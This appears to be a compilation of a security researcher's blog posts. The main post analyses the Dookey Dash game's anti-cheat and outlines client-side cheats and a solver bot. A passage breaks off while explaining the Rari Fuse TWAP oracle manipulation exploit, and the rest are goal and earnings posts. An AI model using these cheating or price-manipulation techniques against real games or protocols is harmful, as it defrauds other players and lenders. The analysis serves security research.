cmichel

Dookey Dash - Deep dive into the sewer

Wed, 08 Feb 2023 00:00:00 GMT

Dookey Dash was YugaLabs’ latest game. It was a skill-based game using the final rankings to mint a new NFT collection (speculated to evolve into mechs at some point). The top scorer received a key to mint a 1/1 NFT that is expected to be worth at least mid-6 figures. This made Dookey Dash an attractive target for cheating and bot development. We’ll look at the code and see if we can trick its anti-cheat system.

Background

It’s an endless runner game: You move through the sewer dodging obstacles and picking up collectibles for more points. There’s one special skill, a dash, that increases the speed for a short duration and allows crushing through wooden obstacles. It’s on cooldown but the cooldown resets when you collide with a destructible object.

BAYC & MAYC holders could mint a sewer pass which allowed them to play the game in the first place. There are four different tiers, one for each (BAYC/MAYC, BAKC / no BAKC) combo. Higher tiers come with a bigger percentage bonus to the final score as well as an increased drop chance for rarer collectibles.

It was played in the browser and used plain JavaScript, so one could just look at the source files. Even though the code was minified (variable names were rewritten, expressions replaced with shorter ones, spaces removed), it was still easy to read as the code was very clean. The latest update to the code introduced some obfuscation by putting class method names into an array and doing something like a virtual method table lookup on each method call. It would have taken some more time to reverse engineer but nothing that parsing and rewriting the AST couldn’t solve. As we had already seen the previous unobfuscated code, it didn’t really matter much anymore.

At its core, it used Next.js, React, and ThreeJS - I’m not sure if a specific game engine framework was used, I didn’t notice any. The code was structured into several systems handling different tasks: input manager, collision detection system, randomness system, game loop, clock, and so on. Most of them worked as you expected them to. Let’s talk about the game loop and the input system more as it’ll later become important when thinking about potential cheats:

The game always ran at 60 fixed updates per second, no matter how slow or fast your computer was. Within requestAnimationFrame, which is called when your system is ready for a repaint, the elapsed clock time from the last call is computed and the game loop’s fixedUpdate function is called as many times as needed.

// cleaned up for readability
this.handleRAF = () => {
  if (!this.paused) {
    this.time.update();
    this.onUpdate.emit();
    let diff = this.time.elapsed - this.lastFixedUpdateTime;
    let fixedUpdatesToProcess = Math.floor(diff / this.time.fixedDelta); // fixedDelta = 1 / 60
    for (let i = 0; i < fixedUpdatesToProcess; i += 1) {
      this.onFixedUpdate.emit();
      this.lastFixedUpdateTime += this.time.fixedDelta;
    }
    window.requestAnimationFrame(this.handleRAF);
  }
}

The main App class listens to the FixedUpdate event and iterates through all of its systems, calling system.fixedUpdate() on each of them. The different systems then check for user input, move the player, update speed, check for collisions, spawn new entities, etc. The point of executing physics at a fixed update interval is such that the gameplay feels the same no matter how fast or slow the user’s system is. This already mitigates any kind of cheating by slowing down your system’s repaints.

Movement

In each frame, the input recorder system fetches new mouse inputs and stores them. Then, at each frame, you move through the world at a certain speed as well as move towards your mouse’s XY coordinates.

Speed (movement in Z-direction)

Interestingly, you’re not actually moving through the world, the world is moving through you. The player’s z coordinate is always 0. The other entities move at the player’s speed towards you (in +z direction). The speed increases as the game progresses such that the game ends at some point when the speed becomes too high to dodge anything in time. The speed for the current frame is computed as:

speed = baseSpeed + dashSpeed
baseSpeed = 40.0 + fixedUpdateElapsedTime * 0.15; // fixedUpdateElapsedTime is seconds since game start
dashSpeed = dashFactor * 40.0;
// dashFactor tweens from 0 to 1.0 and back to 0.0, one can precompute the tweened values per frame
dashFactor = dashing ? _DASH_SPEED_FACTORS[framesSinceDashing] : 0.0;
_DASH_SPEED_FACTORS = [
  0, 0.777, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0.944, 0.888,
  0.833, 0.777, 0.722, 0.666, 0.611, 0.555, 0.5, 0.444, 0.388, 0.333, 0.277,
  0.222, 0.166, 0.111, 0.055, 0,
];

The initial base speed is 40 and your base speed increases by an additional 40 every 266.67 seconds.

Strafing (movement in XY-direction)

Analysing the strafing movements is more interesting because, unlike the speed, you have more control over it as you move towards your mouse input (XY coordinates). The possible XY coordinates you can end up in, are all points within a circle of radius 4.25 - the sewer basically being a cylinder.

Each frame, your player moves a certain percentage of the path towards your mouse input:

// lerp = linear interpolation between these two vector
// playerPosition = playerPosition + strafeFactor * (inputPosition - playerPosition)
playerPosition = lerp(playerPosition, inputPosition, lerpFactor);
lerpFactor = 1/60 * 3 * dashFactor;
dashFactor = dashing ? _DASH_STRAFE_FACTORS[framesSinceDashing] : 1.0;
// dashFactor tweens from 1.0 to 0.25 and back to 1.0, one can precompute the tweened values per frame
_DASH_STRAFE_FACTORS = [
  1.0, 0.416, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25,
  0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.291, 0.333, 0.375, 0.416, 0.458,
  0.5, 0.541, 0.583, 0.624, 0.666, 0.708, 0.749, 0.791, 0.833, 0.874, 0.916,
  0.958, 0.999,
];

First, dashing reduces your strafing ability to 25%, making it even harder to dodge besides the already increased speed. Second, at each frame, a lerp towards your target input is performed which makes strafing look like an ease-out animation. Keeping the input the same, you move a larger distance in the beginning than at the end:

Strafing moves the player 5% towards the input each frame.

What’s the quickest way to move towards your desired XY coordinates?
You might think it’s by pointing at the XY coordinates but that’s not true, you move faster when you point past them and adjust your mouse input in the following frames so you don’t overshoot. Here’s the difference between moving left/right by pointing at your direction vs. optimizing your mouse inputs if you had frame-perfect control.

Moving left and right by pointing to the final position. Then by pointing past it.

This requires frame-perfect control over your inputs, making it a great strategy for a bot to use. In theory, one could teleport to any XY coordinate in a single frame by setting an input far away, however, the mouse inputs are restricted to coordinates in the game area - the mentioned circle of radius 4.25. So far, everything we analysed was on the client side, maybe the server wouldn’t validate the inputs allowing us to teleport? With a basic understanding of how the game works and some cheat ideas, let’s look at its anti-cheat system.

Teleporting on the client side. Does not pass the server-side anti-cheat system.

Anti-Cheat System

When starting a game, an authorized request to /start?pass={$sewerPassTokenId} was made which returned the game seed. This game seed was used to derive all randomness - from the type of obstacles to spawn to the rarity of the collectibles. The game seed makes the game deterministic.

No further server requests were made up until the point when the game ended. At that point, a request to /end?pass={$sewerPassTokenId} was made with the following payload:

{
  "seed": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", // same seed as from start
  "score": 123456, // client-computed score
  "inputs": "base64(inputs)", // array of inputs for every frame
  "clientHash": "62cc1c5b56411c16da998ce8094dcc0faaacb91c" // game version hash
}

The response structure was:

{
  "sessions": 123,
  "valid": true,
  "booster": false,
  "score": 123456,
  "rank": 12345,
  "collectibles": [...],
  "time": 100.00,
  "basePoints": 50000,
  "collectiblePoints": 50000,
  "destructionPoints": 2345,
  "scoreMultiplier": 1,
  "stats": {
    "itemsByRarity": {
      "common": { "collectedCount": 1, "pointsPerItem": 300 },
      "uncommon": { "collectedCount": 1, "pointsPerItem": 500 },
      "rare": { "collectedCount": 1, "pointsPerItem": 1000 },
      "epic": { "collectedCount": 1, "pointsPerItem": 1500 },
      "legendary": { "collectedCount": 1, "pointsPerItem": 2000 }
    }
  },
  "bestRank": 123,
  "bestScore": 800000
}

If the server detected some irregularity, it returned "valid": false and the game showed a “cheater” screen. The input recorder system records the input for every single frame of your game. A single input consists of {x: number, y: number, clicked: bool} - the mouse coordinates and whether the left mouse button was clicked (with the intention to activate dash).

The update from February 5th performed a new request to a /save?pass={$sewerPassTokenId} endpoint that was apparently supposed to save the game. Initially, the server always errored until another update but it’s unclear why saving a game needs to happen from a client request, instead of doing it server-side at the /end API endpoint already.

The interesting parts of the request are the seed, score and the inputs fields:

changing the score makes your game invalid.
changing the inputs will almost certainly make your game invalid: There are remnants of a replay validator class in the source code and I’m sure the server is replaying your inputs with the randomness from your seed to see if the replayed score matches the score you specified.
what about input validation? changing an input to be out of the game area is also invalid, so we cannot teleport.
if we could force the server to always start our game with the same seed, it would be easy to improve upon previous inputs and hardcode an optimized run, essentially making Dookey Dash a tool-assisted speed run challenge. Changing the seed to an old one and trying to replay an old game with new inputs didn’t work for me. Unfortunately, I also didn’t find a way to trick the server to return the same seed for a new run.

I didn’t find any obvious way to cheat at the game as the server fully simulates your replay given the inputs. So we are left with two options:

make it easier for us to play the game
write a bot that returns good inputs for a given game seed

Client-side cheats

Certain modifications that make the game easier to play for a human can be done to the game code on the client side. The upside of these cheats is that they are mostly undetectable as they just enhance human behavior (compared to inhuman movements from a bot, for example).

Speed hack

The game uses an internal clock class that measures real-world clock time. This clock time is used to determine how many milliseconds elapsed since the last requestAnimationFrame call which in turn determines how often the game loop runs. If we just hook into the clock class and have it return the time divided by two, we just slowed down the game by 50%, making it a lot easier to dodge. Note that the update loop still runs frame by frame, the frames just happen slower, so our inputs are still recorded in the input recorder system and should be valid for the game. Unfortunately, this only works on the client side. My suspicion is that there’s a third check that measures the time between the start and end API calls and it must match the actual (fixed elapsed) game time that the replay returned (up to some small threshold). The same issue happens when your (unmodified) code hits a breakpoint and you continue after a second.

Camera hacks

You can zoom in/out, helping you to see obstacles earlier. You can also remove the green fog in the distance and remove the green VFX particles.

Zoom hack with fog & VFX removal.

Pausing

The game already comes with pausing functionality, it’s easy to hook into it and add a key press event listener to pause the game loop. However, your run will be invalidated for the same reason the speed hack is invalid.

Chams

You can reskin the game by replacing the textures that are applied to the objects. Chams (chameleon skins) are often used in FPS games as they make it easier to recognize enemies, sometimes including through the walls.

Not Dookey Dash.

The same idea can be applied to Dookey Dash. Color-code the different types of entities: collectibles, lethal objects, wood. orephelious implemented this as well. Note that this also makes it easier to train a pixel bot on it.

Botting

We’ve covered the exact code how the player moves through the world which is a good start when developing a bot.

The best way to solve this game is by implementing a solver. Write an algorithm that, given a game seed, returns inputs with the highest score. (I’m sure you could circumvent their timing check by just waiting the expected amount of time until sending the /end request.) This is also the most technically involved way to cheat at the game because it requires a lot of engineering effort: you need to perfectly reimplement (or reuse) almost everything: the randomness, the entities, the movements, the collision detection.

I was curious if I could implement a bot in my limited time and how well it would do. The gist of the algorithm I use is that I pick a random mouse input on the outer game area circle, then I simulate the player strafing, the obstacles moving (and the propellers rotating) for several frames in advance, do some basic collision detection and see if I’m still alive. If not pick a different mouse input target.

Its best run was just short of 250,000 points (7 minutes) on a Tier 1 (without powershart boosters).

To already address any outragers: This was purely out of curiosity and I didn’t submit any of these scores. (I was running a modified version that doesn’t talk to their servers while training this bot to not get flagged.) Researching the game, seeing if I can break it, and coming up with an algorithm to play it instead of playing it myself is my definition of a good time. Even though my bot plays better than me, it wouldn’t even have made it into the top 5% of all tier1 / no powershart players. In my opinion, anything outside of the top 1000 will still have a price similar to the floor price, so there never even was any incentive.

After 2.5 weeks of gameplay, a 1-week review period followed with YugaLabs reviewing scores and looking for anything suspicious. Any cheaters were invalidated from the mint. There are 1,232 “N/A” ranks out of 26,485 sewer passes, however, this also includes users that minted but never played the game at all.

I can only speculate how the scores were reviewed but here’s what I would do:

manually review all top 500 runs with the replay function.
manually review all runs from accounts that were flagged with a single invalid game once.
programmatically analyze the inputs of all runs: bot runs should display very different input movement than human runs. For example, the inputs would likely change much more frequently, one could count the number of frames the inputs changed. One can do all kinds of more advanced analysis here. Any irregularities get flagged and manually reviewed.

Boosting

Over time, many boosting services emerged: Players could use delegatecash to delegate their sewer pass to better players and get a higher score this way. The top 500 was full of boosters. Out of the top 100 ranks, 19 were played by Mongraal, another 19 by blocksofmilk, see dookeystats.com. The prices for top-tier boosting services were:

300k+ for .5 ETH + $10 $APE (add .1 for T1 or T2)
350k+ for 1 ETH + 20 $APE (add .15 for T1 or T2)
400k+ for 1.5 ETH + 20 $APE (T3 or T4)
450k+ for 2.25 ETH + 50 $APE (T4 only)
500k+ for 3 ETH + 50 $APE (T4 only)

Conclusion

I was sceptical at first that a skill-based mint would be a good idea but YugaLabs did a good job securing this game. I couldn’t find any obvious exploits and the other ideas described here are technically impossible to completely protect against because the code is running on my machine so I can make it return anything I want in the API requests. If you complain on Twitter that they didn’t “fix” more cheats, then you don’t know much about game hacking. A suggestion was to create the obstacles on the server side instead of locally using the seed but it wouldn’t have changed much, bots can just directly iterate over the created entities in memory and there’s no need to know about entities 1 minute into your future. You can never fully prevent botting in games.

This was fun, I hope we will see more high-stakes web3 games this year, stuff like this makes me want to start a web3 games botting company.

Goals for 2023

Sun, 01 Jan 2023 00:00:00 GMT

What a year! 2022 has been the worst year for crypto and the best year for AI. A great year for Greg Rutkowski and a bad year for hands.

Following the tradition of previous years, I’ll revisit my old goals and set new goals for 2023.

For me, it’s been a good year. I’m still healthy and my net worth grew more than the inflation. This isn’t because I’m a good investor, it’s just the combination of having a low net worth to start with and a high income. Let’s look at some crypto events that hit me:

The year started with Ukraine promising an airdrop and then rugging me.
Then Terra collapsed and all my LUNA went to zero. I unstaked it instead of exiting through the on-chain swap because I didn’t want to take the 30% fee. My lesson is that I need to get out of things that look bad faster and just take the loss. The same happened with my staked SOL after the FTX collapse. When coins are so volatile it doesn’t make sense to lock them for single-digit APY.
I lost money in UST. I already felt that 20% APY was too good to be true and this was going to end badly, so I had hedged it against de-pegging by borrowing it against USDC collateral on Solend and I also bought insurance on Unslashed Finance. However, the insurance was denominated in ETH which had already dropped by 50% at that time and the entire claim process was chaotic and horrible with insurers constantly moving goalposts. I still recovered a significant percentage of it.
I dodged the bullet with Celsius and was able to withdraw before they disabled withdrawals.
I also frontran the FTX collapse and was still able to withdraw. My crypto twitter addiction really paid off this year, I got out everything as soon as I heard rumors.
What’s left of my crypto portfolio is only worth 30% compared to 1 year ago. In hindsight, I should have sold some but I already had a decent cash position so I didn’t sell even though I didn’t see any reason why prices would go up again in the short-term future as macro looked bad. I need to change my strategy.

After all this, how did I still increase my net worth? I earned a lot doing smart contract audit (contests):

In May, I was the first one to hit $1M overall awards on Code4rena and stopped competing for this year except for the $1M Seaport contest. I earned $402,556.26 on Code4rena, ranking at #2 for 2022. I think it’s a great achievement given that I only competed for the first 4 months of the year and the huge increase in wardens.
For the rest of the year, I did audits, independently and with Spearbit. I earned a similar amount to C4 with Spearbit. I don’t want to disclose the amount I made with independent audits.
Honorable mentions are Sherlock and yAcademy. I did some audits as part of Sherlock’s insurance due diligence at the beginning of the year, before they ran contests. I joined yAcademy’s Block 3 cohort as a guest auditor which has been a great experience. The people in the cohorts are genuinely interested in hacking and quite talented, I ended up working on Spearbit audits with some of them later.

Was this enough to achieve my goals?

Reviewing 2022’s goals

Get to 100k$ cash flow per month

I didn’t achieve this goal but I got close.

Develop or contribute to a protocol

I worked on some fun side projects related to NFTs but they are not being used by anyone. Honestly, even these little projects were a waste of time. The workload this year was already very high, I should just have relaxed instead of working on these in my free time. The interesting part of these projects is coming up with a clever solution but once I know the solution in theory, actually writing the smart contract, tests, etc., is not that interesting and just feels like a chore.

Networking

I met a lot of new people online and offline.

ETH Amsterdam / DevConnect / Secureum Event: I met the Code4rena / Spearbit / Sherlock team and other security researchers that I’ve been working with in person for the first time. This event was really great. I did a live audit contest with 0xleastwood, hickuphh3 and sock in cringe-worthy costumes.
I gave a talk at DeFi Security Summit - Stanford Blockchain Week 2022 about the history of price manipulation attacks in lending protocols.
I went to Singapore’s Token 2049. Really enjoyed my time there, I met many new faces who all treated me well.
This year was the first year that I noticed people talk about me in discord channels & podcasts without me being present. I became some sort of micro-celebrity in the web3 security space which is really funny to me. A lot of web3 security beginners reached out to me or thanked me for writing my blog posts and being so transparent.

New gym PRs

I kept up with the gym routine throughout the year, it’s really easy for me. I got back to my old PRs but besides that, no significant progress has been made. It takes a lot of time to make gains now and I got Covid/flu/cold too many times this year and did not always have proper gym access when travelling.

Goals for 2023

Get to 100k$ cash flow per month

I’ll keep the same goal as last year. Why not set bigger goals if I almost achieved them last time? Because I want to be realistic and macro/crypto doesn’t look like it’ll get better which might make achieving the same goal harder. What’s the best strategy to achieve this goal? A good exercise is to write down your best options and assign expected payouts and probabilities to them. So what are my skills and what are the chances of success?

keep doing audits and audit contests like last year: 80% chance of earning $1.2M
build my own protocol, get a huge token allocation, become successful: This is the high risk, high reward play. I give it a 2% success rate to earn $10M within a year in the current market environment starting from scratch.
join an existing protocol as CISO/in-house auditor and get a token allocation of $1M: the hard part is joining a good project and this must be incorporated into the probability. I’d say 25% for me.
become Avi Eisenberg: The chance of finding a highly profitable trading strategy of $10M profit within a year are high, I’d even say 30% is still being underconfident. The problem is that he has just been detained by the FBI and charged with market manipulation, lmao. I’d have to be incredibly stupid to throw away my current life like that.
bug bounties: In the last 6 months, Immunefi listed 19 new bug bounties with max payouts of >= $1M (comparing archive.org from June). Assume Immunefi lists 38 new $1M+ bug bounties next year and it takes you the entire year to look for bugs in all of them. If you think the chances of finding a critical in a project is higher than 3% you should do bug bounties. These odds are better than I expected.

Admittedly, I made up all of these numbers but it’s the process of exploring your options that is already valuable and helps you with decision-making. So doing what I did last year and throwing in some bug bounties seems like the best decision to achieve this goal with my skillset. There’s no need to reinvent myself every year.

The hardest part for me will be to remain focused on security and not get distracted by building some fun AI projects that nobody uses at the end (not even myself).

IRL events

The IRL conferences last year were great and I hope we can continue doing this.

These are all my professional goals that I set for myself this year. I kept them flexible as I want to have time for small, interesting opportunities again that arise and that I can’t even imagine right now.

✨ Happy new year! ✨

Code4rena - First 1M$ stats

Mon, 02 May 2022 00:00:00 GMT

After 14 months of grinding Code4rena audit contests I’m the first person to hit 1M$ in awards and take the number one spot on the leaderboard. 🥳

I also tracked my hours worked on Code4rena over the same time period, so for the first time, we can look at some interesting auditor stats.

General Stats

I participated in 97 of the 108 EVM contests. I stopped after the 108th contest as I was confident that I would hit 1M$ in awards once the judging phase for the pending ones was done. (Some of these contests are still pending judging at the time of writing.) Code4rena’s audit contests allow for participation of varying degrees but for the vast majority of contests, I treated it as a standard audit and read the entire code base instead of just a few of the contracts in scope.
I audited 395,626 lines of Solidity code. Determined by running this command on my C4 contest directory, which excludes most of the out-of-scope interfaces and external libraries:
```
find . -name '*.sol' -type f -not -regex '.*/test.*' -not -regex '.*/interface.*' -not -regex '.*/node_modules.*' -not -regex '.*/openzeppelin.*' -not -regex '.*/@openzeppelin.*' -not -regex '.*/mock.*' | sort -n | xargs wc -l &> c4.log
```
That’s ~4,000 LOC on average per contest which feels too much on the higher end. There are several short 3-day contests with ~1,000 LOC - the filter above is definitely missing some contracts that are out of scope.
I found 900 issues in total, 168 high-severity issues (76 of which are unique issues only found by myself).

Time-weighted Stats

I worked 951 hours on Code4rena since its inception in February 2021. On average, that’s an hourly rate of 1057.80$. However, this rate does not say much about how my hourly rate evolved over the past 14 months. It gets more interesting when we average the awards I earned per month and plot it against the hours worked.

The hours worked (blue line) went up consistently until they dropped at the beginning of this year. In the beginning, the awards earned (red line) were proportional to the hours worked until the huge drop in awards in November 2021.

Where does the drop in awards come from?

Part of it is because of a tracking error as I also developed the smart contracts for Code4rena as part of their governance working group during November / December / January. This time was also tracked as Code4rena time and I can’t distinguish it from my time spent on the audit contests. The other explanation I have is that Code4rena just became a lot more competitive during this time and people started farming low severity issues which lead to an overhaul of the rules in February. Secureum’s Epoch 0 started in October 2021 which brought in a lot of new wardens (auditors) and I published my how to become a smart contract auditor blog post. You can see it from this “wardens per contest” chart:

In the beginning, we averaged 10 wardens per contest, then it was around 25 towards the end of 2021, and the recent contests see as high as 59 wardens submitting at least one bug or gas optimization. 👀 This is great for the sponsors who receive an insane amount of value but bad for the auditors as they all compete for the same pot and the pot size has not significantly increased since inception.

Let’s look at the first “awards earned & hours worked” chart again in a different way - by dividing these values we get the hourly rate (averaged per month).

It started very high at 2000$/h and I stayed above 1000$/h for most of 2021 until the big drop in November 2021. Afterwards, I was and still am averaging 500$/h.

❕ Most of March and April’s contests have not been judged yet which means the hourly rate for these months will still go up once the judging is done. The charts will be updated in the future.

This is still a very decent hourly rate but it’s possible to earn more doing traditional audits if you’re at the top. Having said that, I still prefer Code4rena to standard audits as it’s a lot more hands-off, less responsibility, less communication overhead for auditors, and neither do I need to join meetings or audit the fixes. I just read public code and submit bugs through a web interface without talking to any human, can’t get much better than that. 😁

What’s next?

I’ll take a break from C4 until some newly-discussed features have been implemented and I might try part-time bug bounties for 1-2 months as I’m curious what my average hourly rate would be there. Then I’d be the first to publicize an evidence-based comparison between audits, audit contests, and bug bounties.
The anecdotal advice is that bug bounties pay the best - judging from seeing a few large million $ payouts. At the same time, I also hear a lot of complaints about how protocols mistreat whitehats and down-play severity or simply don’t pay out. The earnings are therefore also a lot more volatile which is why I’ve always felt more comfortable doing audits. But I’m curious what payouts one can expect and how volatile they really are - is doing bug bounties for a month enough to get close to the expected payouts?

The charts have been created using the plotters crate and the source code is available here.

Goals for 2022

Sat, 01 Jan 2022 00:00:00 GMT

Following the tradition of previous years, I’ll revisit my old goals and see what I achieved, and set new goals for 2022.

Before we dive into the review, I can already say that 2021 has financially been my best year so far by a huge margin. I’m also still healthy, so it has been a pretty great year overall.

Reviewing 2021’s goals

Dive into decentralized finance security auditing

✅ I started full-time auditing (& some bug bounties) already in February/March and am still doing it. Initially, I did part-time audits for Quantstamp and Code4rena (C4) but then transitioned into doing C4 full-time as I enjoyed the way of working there more: non-committal, work how much I want, no baby-sitting of customers that don’t have their shit together (code still missing for the booked time slots, promised documentation not delivered or insufficient, etc.), no re-audits that can drag on forever. The reward was also a lot higher, in the end, I didn’t miss a single (EVM) contest and made it to #1 on the leaderboard. 🥳

I tried to give back by blogging/tweeting about Ethereum hacks, being a mentor on Secureum’s bootcamp and answering DMs I received about how to get started as an auditor. My impression is that there has been a huge influx of security people in the past 2 months, 2022 will be interesting.

Get back to a bi-weekly blog-post consistency.

❌ Failed again. This year I worked more than ever before - I maybe took ~10 days off, on all other days I’ve always been working for at least a couple of hours (including weekends). I didn’t have the energy anymore to write two posts every month. I also started posting with my anon and dividing the time between them is still a struggle.

The biggest series I started on this blog was Replaying ETH hacks. I’d like to continue with it.

Get back to a daily routine

✅ I more or less achieved this goal. I still go to bed late at night and sleep 8-9 hours and wake up at noon. However, I stopped my digital nomad life that I’ve been living for the past 3 years and it’s much less stressful. Previously, I moved to a new city every 1-3 months and lived out of Airbnbs working on shitty chairs. I now have a base, bought my own furniture & decoration, joined a local gym. I developed a nice routine here. I’ll only start travelling again when governments reduce their covid travel restrictions but I doubt we’ll see this any time soon.

Be open to throwing away these goals if they become irrelevant, my priorities change, or other better opportunities come along.

✅ This was the best goal I set myself. Crypto moves too fast to set any specific goals. The meta changes too fast and if you want to be successful you need to adapt quickly. NFTs went from zero to every single creator talking and having an opinion on them in less than a year. Both big corporations and huge celebrities got into NFTs.

Goals for 2022

Get to 100k$ cash flow per month

I’ve been in crypto since 2017 and the biggest reason why I’m still not rich / financially independent is that I didn’t have enough cash to invest in 2017. Back then I was living in a country where you pay close to 50% in taxes and where a software engineering salary of 60k EUR per year was considered great. I bought ETH for 300$ and while I’m still holding them and this investment did more than 10x, it’s still not a significant amount of money if you only bought 1 ETH per month.

The lesson I learned is that if you’re not earning at least 100k$ per year, don’t even bother investing. Focus on making 100k$ first (or take on more risk with the small investments than I did).

My goal is to get to a cash flow of 100k$ per month that I can use to invest. The cash flow may come from anywhere, previous investments, or simply from work. Over time, the part coming from work ideally goes to zero. It’s an absurdly ambitious goal for me but it’s not impossible. If you reframe it as a single 1M$ bug bounty per year, it actually sounds easy to pull off. 😁

Develop or contribute to a protocol

Auditing is nice and pays well but it also fries your brain as you have to concentrate non-stop for hours. Whereas developing a protocol is very easy and I can do it while I’m tired all while listening to music and watching Netflix. For me, a 50:50 split between smart contract security and development would be ideal. The goal is to contribute to a promising DAO as a protocol dev or even develop my own protocol. (I’ll do this with my anon, so please don’t ask me about what I’m building.)

On a related note, I don’t see myself ever going back to traditional non-DAO employment. With Code4rena, Immunefi, Spearbit I have three great ways to work in security in a decentralized manner: It’s truly flexible about the workload (compared to what “flexible work hours” means in traditional companies) and I don’t have anyone to report to or join weekly meetings.

I’ve never been happier with my work arrangements.

Networking

As I get closer to my financial independence goals, earning more money becomes less important and making new connections with like-minded people takes priority. I met many smart and kind people last year, I hope to continue this trend and maybe start an alpha-sharing group with them.

New gym PRs

I recently joined a gym after doing home workouts for 3 years while travelling and gyms being closed. I want to set new personal records (PRs), my previous ones are (for 5x5, so not technically a 1-rep max PR):

Bench press: 90kg
Deadlift: 140kg (issue was my grip)
Squat: 100kg

Be open to throwing away these goals if they become irrelevant, my priorities change, or other better opportunities come along.

As always, be flexible. Jump on the NFT trend, on the OHM fork trend, but also get off of it quickly again. Even better, build on the trend. 🙂

You might notice that I didn’t include the “write two posts per month on my blog” goal anymore. It’s because I prefer building rep on my anon account. I believe being anonymous is the future (for me) and while throwing away 5 years of rep on my real name to start over was a hard pill to swallow, it’s the right thing to do. The best time to go anon was when you started posting with your real name, the second-best time is now.

Part of the reasons why I think it’s the future and I’m willing to go this step:

it’s more fun if nobody knows your real identity
cancel culture is still a thing and doesn’t seem to get better. I noticed I’m self-censoring because I can already predict the outrage if I post something controversial, and I don’t want to deal with the negativity, so I don’t post too controversial things at all and stick mostly to technical blog posts.
safety risk: you become a target if you receive a large bug bounty or you’re on the leaderboard
the laws around crypto are still unclear and regulators are either unwilling to learn how blockchains work or have ulterior motives. They create laws that are technically impossible to comply with. Not linking every transaction to your name for eternity and publicly broadcasting what you do on social media is the obvious move.

I will also stop with my monthly progress reports after 5 years of writing them each month. I don’t see any value in them anymore except for nostalgia reasons. But don’t be disappointed, I will of course still cover exploits on this blog and my main Twitter.

I wish you reading this a happy new year and the strength to consistently work on your goals. 🎉

Progress Report - November 2021

Wed, 01 Dec 2021 00:00:00 GMT

I post a progress report showing what I did and how my products performed each month. Last month’s report can be seen here.

What did I do

Hours worked on side-projects in November

I worked 130 productive on side projects hours last month. I noticed this includes C4 but it probably shouldn’t be considered a side-project of mine anymore.

To make these progress reports a bit more interesting, from now on I’ll post my favourite song, TV show, and article I read last month.

Article of the Month: Neodyme’s Solana Security Workshop
Song of the Month: Kummer - Der letzte Song
TV series of the Month: Mushoku Tensei: Jobless Reincarnation

What was worked on

This month is the 5 year anniversary of writing my monthly progress reports. The first one can be seen here. It’s incredible how many failed side projects I had over the years. If I calculate the opportunity costs of my market rate times the hours spent on these side projects, not a single one of them made sense. Neither have I gone back and read a single one of these progress reports (except the first one now). Working on these projects was still more fun than client work but I need to rethink all of this on my new year’s goal post.

Anyway, what did I do this month?

Solved the Solana Security Workshop challenges. My solutions can be found here
Learned some more Rust and how useful the From trait is after looking at a codebase that heavily uses it.
lots of other smaller things, helping out here and there

Platform Growth

Website

Sessions went up to 8,538 on my website.

I did not stick to my bi-weekly schedule of releasing a blog post. Still, at least I managed to write a single post.

Replaying Ethereum Hacks - Rari Fuse VUSD Price Manipulation

Subscribers

My twitter followers increased by 251 to 2002.

Sales

Learn EOS Development

I sold 7 books last month. 👀

What’s next

I’ll be doing Advent of Code 2021 to learn Rust. I already did the exact same thing last year but stopped after day 11. Let’s see when I stop this time because of too much work. 😢

Replaying Ethereum Hacks - Rari Fuse VUSD Price Manipulation

Fri, 05 Nov 2021 00:00:00 GMT

A few days ago, pool 23 of Rari’s Fuse platform was exploited. In this episode of the Replaying Ethereum Hacks series, we will look at what happened and replay the exploit by implementing it from scratch.

Background

Rari’s Fuse protocol is an isolated lending market creator. Anyone can create their own lending platform by specifying arbitrary tokens that can then be used as collateral or borrowed. When creating a pool, it deploys a fresh instance of Compound.finance’s contracts (Comptroller, CTokens). The idea of creating isolated pools is that the risk stays within the pool and does not spill over to lenders or borrowers of other pools. General issues of a permissionless token listing lending protocol include:

A listed malicious token’s price can be pumped liquidating its borrowers, seizing collateral tokens that might be more valuable
A listed malicious token’s price can be pumped and used as collateral to borrow more valuable tokens

The second issue is exactly what happened with Fuse pool 23, except that the token wasn’t even malicious, given enough capital, manipulating prices works with any token.

Note that this is not an issue of Rari’s Fuse protocol per se, it’s the nature of a permissionless lending protocol that requires participants to do their own due diligence on the pools they enter.

Pool 23 was operated by Vesper and included the following assets: VUSD, USDC, WBTC, DAI, ETH and others. The attacker was able to manipulate the price of VUSD (denominated in USDC) which was so high that the attacker’s collateral value even overflowed the UI.

As anyone can create a pool for any tokens, Rari Fuse uses UniswapV3’s TWAP oracle by default to price its assets.

Using Chainlink here wouldn’t have helped because Chainlink doesn’t list any long-tail assets like VUSD.

Exploit

The heart of the exploit is about manipulating UniswapV3’s TWAP oracle of the VUSD <> USDC pair which is used to price VUSD within Rari’s Fuse pool 23. By inflating the price, VUSD can be provided as collateral and then any other asset of that pool can be borrowed.

The VUSD <> USDC pool had about 500k$ of liquidity and the initial USDC per VUSD price was 0.988964. The attacker used 232k USDC to buy all available VUSD in the pool, bringing the VUSD price practically to infinity.

Due to UniswapV3’s max tick limit of 887271, the max price for this pair is 3.4 * 10^50. A tick corresponds to the exponent of the price equation; price at tick i: 1.0001^i. (For efficiency reasons, UniswapV3 often deals with the square root of the price instead of the price itself.)

Note that this is a time-weighted oracle which means the TWAP after executing the trade will not change, time (blocks) must first pass before this higher price is incorporated. Therefore, this attack does not work with flashloans, the attackers must provide their own capital and keep it for several blocks for the TWAP to change. This puts some of the attacker’s capital at risk. Unfortunately, the TWAP changes very quickly when the current price is at the maximum. Here’s a plot of the TWAP prices (Pool 23 used a time window of 600 seconds) at the end of each block, starting with block 13537922 where the price manipulation transaction was included:

One block after the manipulation (block-time delta of 37 seconds), the TWAP already changed from 0.98 to 1293.031076 and it increases exponentially. Even if the next block was minted at the average block speed of 13 seconds instead, the TWAP would have increased to 18.0, still enough to exploit the pool. This makes it very difficult to protect against this attack as the manipulation transaction can be sent through flashbots and the arbitrage opportunity cannot be picked up (and undo the price change) by others, except by sheer luck. When the next block is minted, the TWAP is already manipulated and the attacker is likely to make a profit from the exploit. Here, the attacker waited even longer with their second transaction, included at block 13537932 (+10), increasing the price to 1,960,630,954,978.808896 USDC / VUSD.

# USDC/VUSD TWAP (600s time window) after each block
Block 13537922 Price: 0.988964
Block 13537923 Price: 1293.031076
Block 13537924 Price: 16091.047672
Block 13537925 Price: 28793.048286
Block 13537926 Price: 34953.698466
Block 13537927 Price: 243088.923366
